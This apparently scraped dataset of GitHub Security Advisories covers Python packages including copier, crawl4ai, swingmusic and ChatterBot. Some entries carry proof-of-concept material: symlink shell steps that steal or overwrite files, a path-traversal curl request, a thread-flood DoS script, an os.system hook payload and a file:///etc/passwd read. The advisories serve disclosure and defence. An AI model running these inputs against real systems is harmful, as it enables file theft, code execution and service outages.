deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-vqxf-v2gg-x3hc
Package: docling-core (PIP)
Severity: HIGH (CVSS 8.1)
CWE: CWE-502: Deserialization of Untrusted Data
Vulnerable versions: >= 2.21.0, < 2.48.4
Patched in: 2.48.4

Summary: docling-core vulnerable to Remote Code Execution via unsafe PyYAML usage

Details:
### Impact

A PyYAML-related Remote Code Execution (RCE) vulnerability, namely CVE-2020-14343, is exposed in `docling-core >=2.21.0, <2.48.4` and, specifically only if the application uses `pyyaml < 5.4` and invokes `docling_core.types.doc.DoclingDocument.load_from_yaml()` passing it untrusted YAML data.

### Patches

The vulnerability has been patched in `docling-core` version **2.48.4**.
The fix mitigates the issue by switching `PyYAML` deserialization from `yaml.FullLoader` to `yaml.SafeLoader`, ensuring that untrusted data cannot trigger code execution.

### Workarounds

Users who cannot immediately upgrade `docling-core` can alternatively ensure that the installed version of `PyYAML` is **5.4 or greater**, which supposedly patches CVE-2020-14343.

### References

* GitHub Issue: #482
* Upstream Advisory: CVE-2020-14343
* Fix Release: [v2.48.4](https://github.com/docling-project/docling-core/releases/tag/v2.48.4)
GitHub Security Advisory: GHSA-95c6-p277-p87g
Package: fastapi-api-key (PIP)
Severity: LOW (CVSS 3.7)
CWE: CWE-208: Observable Timing Discrepancy
Vulnerable versions: < 1.1.0
Patched in: 1.1.0

Summary: FastAPI Api Key has a timing side-channel in verify_key that allows statistical key validity detection

Details:
### Impact
Timing side-channel vulnerability in verify_key(). The method applied a random delay only on verification failures, allowing an attacker to statistically distinguish valid from invalid API keys by measuring response latencies. With enough repeated requests, an adversary could infer whether a key_id corresponds to a valid key, potentially accelerating brute-force or enumeration attacks.

Affected: all users relying on verify_key() for API key authentication prior to the fix.

### Patches
Yes. Users should upgrade to version 1.1.0 (or the version containing this fix). The patch applies a uniform random delay (min_delay to max_delay) to all responses regardless of outcome, eliminating the timing correlation.

### Workarounds
- Add an application-level fixed delay or random jitter to all authentication responses (success and failure) before the fix is applied.
- Use rate limiting to reduce the feasibility of statistical timing attacks.

### References
- CWE-208: Observable Timing Discrepancy
- Commit: 87b27640f77c5ef86c46311b6b5a7e2887e35b77
- OWASP: https://owasp.org/www-community/attacks/Timing_attack
GitHub Security Advisory: GHSA-4fqp-r85r-hxqh
Package: copier (PIP)
Severity: MODERATE (CVSS 7.1)
CWE: CWE-61: UNIX Symbolic Link (Symlink) Following
Vulnerable versions: < 9.11.2
Patched in: 9.11.2

Summary: Copier safe template has arbitrary filesystem write access via directory symlinks when _preserve_symlinks: true 

Details:
### Impact

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with [`_preserve_symlinks: true`](https://copier.readthedocs.io/en/stable/configuring/#preserve_symlinks) and a [generated directory structure](https://copier.readthedocs.io/en/stable/configuring/#generating-a-directory-structure) whose rendered path is inside the symlinked directory. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.

> [!NOTE]
>
> At the time of writing, the exploit is non-deterministic, as Copier walks the template's file tree using [`os.scandir`](https://docs.python.org/3/library/os.html#os.scandir) which yields directory entries in arbitrary order.

Reproducible example (may or may not work depending on directory entry yield order):

```shell
mkdir other/
pushd other/
echo "sensitive" > sensitive.txt
popd

mkdir src/
pushd src/
ln -s ../other other
echo "overwritten" > "{{ pathjoin('other', 'sensitive.txt') }}.jinja"
echo "_preserve_symlinks: true" > copier.yml
tree .
# .
# ├── copier.yml
# ├── other -> ../other
# └── {{ pathjoin('other', 'sensitive.txt') }}.jinja
#
# 1 directory, 2 files
popd

uvx copier copy --overwrite src/ dst/

cat other/sensitive.txt
# overwritten
```

### Patches

n/a

### Workarounds

n/a

### References

n/a
GitHub Security Advisory: GHSA-xjhm-gp88-8pfx
Package: copier (PIP)
Severity: MODERATE (CVSS 5.5)
CWE: CWE-61: UNIX Symbolic Link (Symlink) Following
Vulnerable versions: < 9.11.2
Patched in: 9.11.2

Summary: Copier safe template has arbitrary filesystem read access via symlinks when _preserve_symlinks: false

Details:
### Impact

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently include arbitrary files/directories outside the local template clone location by using symlinks along with [`_preserve_symlinks: false`](https://copier.readthedocs.io/en/stable/configuring/#preserve_symlinks) (which is Copier's default setting). 

Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations and hopes for a user to push the generated project to a public location like [github.com](https://github.com/) where the template author can extract the secrets.

Reproducible example:

- Illegally include a file in the generated project via symlink resolution:

    ```shell
    echo "s3cr3t" > secret.txt

    mkdir src/
    pushd src/
    ln -s ../secret.txt stolen-secret.txt
    popd

    uvx copier copy src/ dst/

    cat dst/stolen-secret.txt
    #s3cr3t
    ```

- Illegally include a directory in the generated project via symlink resolution:

    ```shell
    mkdir secrets/
    pushd secrets/
    echo "s3cr3t" > secret.txt
    popd

    mkdir src/
    pushd src/
    ln -s ../secrets stolen-secrets
    popd

    uvx copier copy src/ dst/

    tree dst/
    # dst/
    # └── stolen-secrets
    #     └── secret.txt
    #
    # 1 directory, 1 file
    cat dst/stolen-secrets/secret.txt
    # s3cr3t
    ```

### Patches

n/a

### Workarounds

n/a

### References

n/a
GitHub Security Advisory: GHSA-577h-p2hh-v4mv
Package: langflow (PIP)
Severity: CRITICAL (CVSS 8.8)
CWE: CWE-346: Origin Validation Error
Vulnerable versions: <= 1.6.9
Patched in: unpatched

Summary: Langflow CORS misconfiguration enables Account Takeover and RCE

Details:
Langflow versions up to and including 1.6.9 contain a chained vulnerability that enables account takeover and remote code execution. An overly permissive CORS configuration (allow_origins='*' with allow_credentials=True) combined with a refresh token cookie configured as SameSite=None allows a malicious webpage to perform cross-origin requests that include credentials and successfully call the refresh endpoint. An attacker-controlled origin can therefore obtain fresh access_token / refresh_token pairs for a victim session. Obtained tokens permit access to authenticated endpoints — including built-in code-execution functionality — allowing the attacker to execute arbitrary code and achieve full system compromise.
GitHub Security Advisory: GHSA-7x99-8x99-xc54
Package: uni2ts (PIP)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection')
Vulnerable versions: <= 1.2.0
Patched in: 2.0.0

Summary: Salesforce Uni2TS has a Code Injection vulnerability

Details:
Improper Control of Generation of Code ('Code Injection') vulnerability in Salesforce Uni2TS on MacOS, Windows, Linux allows Leverage Executable Code in Non-Executable Files.This issue affects Uni2TS: through 1.2.0.
GitHub Security Advisory: GHSA-2pc9-4j83-qjmr
Package: vllm (PIP)
Severity: HIGH (CVSS 8.8)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection')
Vulnerable versions: >= 0.10.1, < 0.14.0
Patched in: 0.14.0

Summary: vLLM affected by RCE via auto_map dynamic module loading during model initialization

Details:
# Summary

vLLM loads Hugging Face `auto_map` dynamic modules during model resolution **without gating on `trust_remote_code`**, allowing attacker-controlled Python code in a model repo/path to execute at server startup.

---

# Impact

An attacker who can influence the model repo/path (local directory or remote Hugging Face repo) can achieve **arbitrary code execution** on the vLLM host during model load.  
This happens **before any request handling** and does **not require API access**.

---

# Affected Versions

All versions where `vllm/model_executor/models/registry.py` resolves `auto_map` entries with `try_get_class_from_dynamic_module` **without checking `trust_remote_code`** (at least current `main`).

---

# Details

During model resolution, vLLM unconditionally iterates `auto_map` entries from the model config and calls `try_get_class_from_dynamic_module`, which delegates to Transformers’ `get_class_from_dynamic_module` and **executes the module code**.

This occurs even when `trust_remote_code` is `false`, allowing a malicious model repo to embed code in a referenced module and have it executed during initialization.

### Relevant code

- `vllm/model_executor/models/registry.py:856` — auto_map resolution  
- `vllm/transformers_utils/dynamic_module.py:13` — delegates to `get_class_from_dynamic_module`, which executes code

---

# Fixes

* https://github.com/vllm-project/vllm/pull/32194

# Credits

Reported by **bugbunny.ai**
GitHub Security Advisory: GHSA-2g59-m95p-pgfq
Package: chainlit (PIP)
Severity: HIGH (CVSS 7.7)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: < 2.9.4
Patched in: 2.9.4

Summary: Chainlit contain a server-side request forgery (SSRF) vulnerability

Details:
Chainlit versions prior to 2.9.4 contain a server-side request forgery (SSRF) vulnerability in the /project/element update flow when configured with the SQLAlchemy data layer backend. An authenticated client can provide a user-controlled url value in an Element, which is fetched by the SQLAlchemy element creation logic using an outbound HTTP GET request. This allows an attacker to make arbitrary HTTP requests from the Chainlit server to internal network services or cloud metadata endpoints and store the retrieved responses via the configured storage provider.
GitHub Security Advisory: GHSA-4h3h-63v6-88qx
Package: esphome (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-190: Integer Overflow or Wraparound
Vulnerable versions: >= 2025.9.0, < 2025.12.7
Patched in: 2025.12.7

Summary: ESPHome vulnerable to denial-of-service via out-of-bounds check bypass in the API component

Details:
### Summary
An integer overflow in the API component's protobuf decoder allows denial-of-service attacks when API encryption is not used.

### Details
The bounds check `ptr + field_length > end` in `components/api/proto.cpp` can overflow when a malicious client sends a large `field_length` value. This affects all ESPHome device platforms (ESP32, ESP8266, RP2040, LibreTiny). The overflow bypasses the out-of-bounds check, causing the device to read invalid memory and crash.

When using the plaintext API protocol, this attack can be performed without authentication. When noise encryption is enabled, knowledge of the encryption key is required.

### Affected Versions
ESPHome 2025.9.0 through 2025.12.6

### Mitigation
- Upgrade to ESPHome 2025.12.7 or later (or 2026.1.0b3 or later)
- [Enable API encryption](https://esphome.io/components/api.html#configuration-variables) with a unique key per device
- Follow the [Security Best Practices](https://esphome.io/guides/security_best_practices/)

### Severity
Low - Users following [Security Best Practices](https://esphome.io/guides/security_best_practices/) with API encryption enabled are not affected without knowledge of the encryption key.

### Impact
Denial-of-service. An attacker with network access to port 6053 can crash and reboot the device.

### Credits
Thanks to [@Mat931](https://github.com/Mat931) for responsibly reporting this vulnerability.
GitHub Security Advisory: GHSA-pj88-9xww-gxmh
Package: swingmusic (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-25: Path Traversal: '/../filedir'
Vulnerable versions: < 2.1.4
Patched in: 2.1.4

Summary: Swing Music has a Directory Traversal & Filesystem can be accessed by a non-admin user

Details:
### Summary
Swing Music's `list_folders()` function in the `/folder/dir-browser` endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem.

### Details
The `@api.post("/dir-browser")` endpoint lacks proper path validation and authorization checks:
- **No authorization requirement**: Any authenticated user can access the endpoint
- **Improper path handling**: The code attempts to prepend "/" to non-existent paths but this doesn't prevent traversal:
```python
req_dir = pathlib.Path("../../../../etc")  # → PosixPath('../../../../etc')
if not req_dir.exists():                    # → False
    req_dir = "/" / req_dir                 # → PosixPath('/../../../../etc')
```

### PoC
1. Create a non-admin user
2. Authenticate as a non-admin user
3. Send the following request:
```
POST /folder/dir-browser HTTP/1.1
Host: IP:1970
Content-Type: application/json
Cookie: access_token_cookie=non-admin-access-token
Connection: keep-alive

{"folder":"/music/../proc/self/", "tracks_only":false}
```
```bash
curl --path-as-is -i -s -k -X $'POST' -H $'Content-Type: application/json' -b $'access_token_cookie=non-admin-access-token' \
    --data-binary $'{\"folder\":\"/music/../proc/self/\", \"tracks_only\":false}' \
    $'http://IP:1970/folder/dir-browser'
```
4. The response will list directories from `/proc/self` instead of restricting to user-accessible paths:
```
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 466
Vary: Accept-Encoding
Connection: Keep-Alive

{"folders":[{"name":"attr","path":"/music/../proc/self/attr"},{"name":"cwd","path":"/music/../proc/self/cwd"},{"name":"fd","path":"/music/../proc/self/fd"},{"name":"fdinfo","path":"/music/../proc/self/fdinfo"},{"name":"map_files","path":"/music/../proc/self/map_files"},{"name":"net","path":"/music/../proc/self/net"},{"name":"ns","path":"/music/../proc/self/ns"},{"name":"root","path":"/music/../proc/self/root"},{"name":"task","path":"/music/../proc/self/task"}]}
```

### Impact

**Information Disclosure:**
- Server filesystem structure and layout
- Configuration file locations and names
- User account names from directory listings
- Software versions and installed packages
- Log file locations and system paths

**Additional Risks:**
- Preparation for further attacks (LFI, RCE)
- Bypass of access control mechanisms
- Exposure of sensitive directory structures
GitHub Security Advisory: GHSA-ww28-4m4v-cq4j
Package: backend.ai (PIP)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-306: Missing Authentication for Critical Function
Vulnerable versions: >= 25.16.0rc1, < 25.19.0rc1
Patched in: 25.19.0rc1

Summary: BackendAI Missing Authentication for Critical Function

Details:
Missing Authentication in the registration feature of Lablup's BackendAI allows arbitrary users to create user accounts that can access private data even when registration is disabled.
GitHub Security Advisory: GHSA-ww28-4m4v-cq4j
Package: backend.ai (PIP)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-306: Missing Authentication for Critical Function
Vulnerable versions: < 25.15.6
Patched in: 25.15.6

Summary: BackendAI Missing Authentication for Critical Function

Details:
Missing Authentication in the registration feature of Lablup's BackendAI allows arbitrary users to create user accounts that can access private data even when registration is disabled.
GitHub Security Advisory: GHSA-v4w8-49pv-mf72
Package: chatterbot (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: <= 1.2.10
Patched in: 1.2.11

Summary: ChatterBot Vulnerable to Denial of Service via Database Connection Pool Exhaustion

Details:
### Summary
ChatterBot versions up to 1.2.10 are vulnerable to a denial-of-service condition caused by improper database session and connection pool management. Concurrent invocations of the get_response() method can exhaust the underlying SQLAlchemy connection pool, resulting in persistent service unavailability and requiring a manual restart to recover.

### Details
ChatterBot relies on SQLAlchemy for database access and uses a connection pool with default limits. The get_response() method does not enforce concurrency limits, rate limiting, or explicit session lifecycle controls.

When multiple threads concurrently invoke get_response(), database connections are rapidly consumed and not released in a timely manner. This leads to exhaustion of the SQLAlchemy QueuePool, causing subsequent requests to block and eventually fail with a TimeoutError.

This issue can be triggered without authentication in deployments where ChatterBot is exposed as a chatbot service, making it exploitable by remote attackers to cause denial of service.

PoC Video: 
https://github.com/user-attachments/assets/4ee845c4-b847-4854-84ec-4b2fb2f7090f

### PoC
1. Install ChatterBot version 1.2.10.
2. Use the default database configuration (SQLite / SQLAlchemy).
3. Run the following Python script to invoke concurrent requests:

from chatterbot import ChatBot
import threading

bot = ChatBot("dos-test")

def attack():
    bot.get_response("hello")

threads = []
for _ in range(30):
    t = threading.Thread(target=attack)
    t.start()
    threads.append(t)

for t in threads:
    t.join()

4. Observe that the application becomes unresponsive and raises SQLAlchemy TimeoutError exceptions indicating exhaustion of the connection pool.

### Impact
This vulnerability allows an attacker to trigger a denial-of-service condition by exhausting the database connection pool. Once triggered, the chatbot becomes unresponsive to legitimate users and requires a manual restart to restore functionality.

All deployments of ChatterBot version 1.2.10 or earlier that allow concurrent access to the get_response() method are impacted.
GitHub Security Advisory: GHSA-q748-mcwg-xmqv
Package: glance (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: >= 2011.2, < 2014.2.4
Patched in: 2014.2.4

Summary: OpenStack Image Service (Glance) allows remote authenticated users to bypass access restrictions

Details:
OpenStack Image Service (Glance) before 2014.2.4 (juno) and 2015.1.x before 2015.1.2 (kilo) allow remote authenticated users to change the status of their images and bypass access restrictions via the HTTP x-image-meta-status header to images/*.
GitHub Security Advisory: GHSA-3qmm-r55x-hpxx
Package: apache-airflow (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: >= 3.1.0, < 3.1.6
Patched in: 3.1.6

Summary: Apache Airflow secrets in rendered templates could contain parts of sensitive values when truncated

Details:
In Apache Airflow versions before 3.1.6, when rendered template fields in a Dag exceed [core] max_templated_field_length, sensitive values could be exposed in cleartext in the Rendered Templates UI. This occurred because serialization of those fields used a secrets masker instance that did not include user-registered mask_secret() patterns, so secrets were not reliably masked before truncation and display.

Users are recommended to upgrade to 3.1.6 or later, which fixes this issue
GitHub Security Advisory: GHSA-5882-5rx9-xgxp
Package: Crawl4AI (PIP)
Severity: CRITICAL (CVSS 0.0)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection')
Vulnerable versions: < 0.8.0
Patched in: 0.8.0

Summary: Crawl4AI is Vulnerable to Remote Code Execution in Docker API via Hooks Parameter

Details:
A critical remote code execution vulnerability exists in the Crawl4AI Docker API deployment. The `/crawl` endpoint accepts a `hooks` parameter containing Python code that is executed using `exec()`. The `__import__` builtin was included in the allowed builtins, allowing attackers to import arbitrary modules and execute system commands.

**Attack Vector:**
```json
POST /crawl
{
  "urls": ["https://example.com"],
  "hooks": {
    "code": {
      "on_page_context_created": "async def hook(page, context, **kwargs):\n    __import__('os').system('malicious_command')\n    return page"
    }
  }
}
```

### Impact

An unauthenticated attacker can:
- Execute arbitrary system commands
- Read/write files on the server
- Exfiltrate sensitive data (environment variables, API keys)
- Pivot to internal network services
- Completely compromise the server

### Mitigation

1. **Upgrade to v0.8.0** (recommended)
2. If unable to upgrade immediately:
   - Disable the Docker API
   - Block `/crawl` endpoint at network level
   - Add authentication to the API

### Fix Details

1. Removed `__import__` from `allowed_builtins` in `hook_manager.py`
2. Hooks disabled by default (`CRAWL4AI_HOOKS_ENABLED=false`)
3. Users must explicitly opt-in to enable hooks

### Credits

Discovered by Neo by ProjectDiscovery (https://projectdiscovery.io)
GitHub Security Advisory: GHSA-vx9w-5cx4-9796
Package: crawl4ai (PIP)
Severity: CRITICAL (CVSS 8.6)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 0.8.0
Patched in: 0.8.0

Summary: Crawl4AI Has Local File Inclusion in Docker API via file:// URLs

Details:
A local file inclusion vulnerability exists in the Crawl4AI Docker API. The /execute_js, /screenshot, /pdf, and /html endpoints accept file:// URLs, allowing attackers to read arbitrary files from the server filesystem.

Attack Vector:
```json
POST /execute_js
{
    "url": "file:///etc/passwd",
    "scripts": ["document.body.innerText"]
}
```
Impact

An unauthenticated attacker can:
- Read sensitive files (/etc/passwd, /etc/shadow, application configs)
- Access environment variables via /proc/self/environ
- Discover internal application structure
- Potentially read credentials and API keys

Workarounds

1. Disable the Docker API
2. Add authentication to the API
3. Use network-level filtering
GitHub Security Advisory: GHSA-mmwx-79f6-67jg
Package: wlc (PIP)
Severity: HIGH (CVSS 8.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 1.17.2
Patched in: 1.17.2

Summary: Weblate wlc path traversal vulnerability: Unsanitized API slugs in download command 

Details:
### Impact
Multi-translation download could write to an arbitrary location when instructed by a crafted server.

### Patches
* https://github.com/WeblateOrg/wlc/pull/1128

### Workarounds
Do not use `wlc download` with untrusted servers.

### References
This issue was reported to us by [wh1zee](https://hackerone.com/wh1zee) via HackerOne.
GitHub Security Advisory: GHSA-v492-6xx2-p57g
Package: chainlit (PIP)
Severity: LOW (CVSS 4.2)
CWE: CWE-639: Authorization Bypass Through User-Controlled Key
Vulnerable versions: < 2.8.5
Patched in: 2.8.5

Summary: Chainlit contains an authorization bypass vulnerability

Details:
Chainlit versions prior to 2.8.5 contain an authorization bypass through user-controlled key vulnerability. If this vulnerability is exploited, threads may be viewed or thread ownership may be obtained by an attacker who can log in to the product.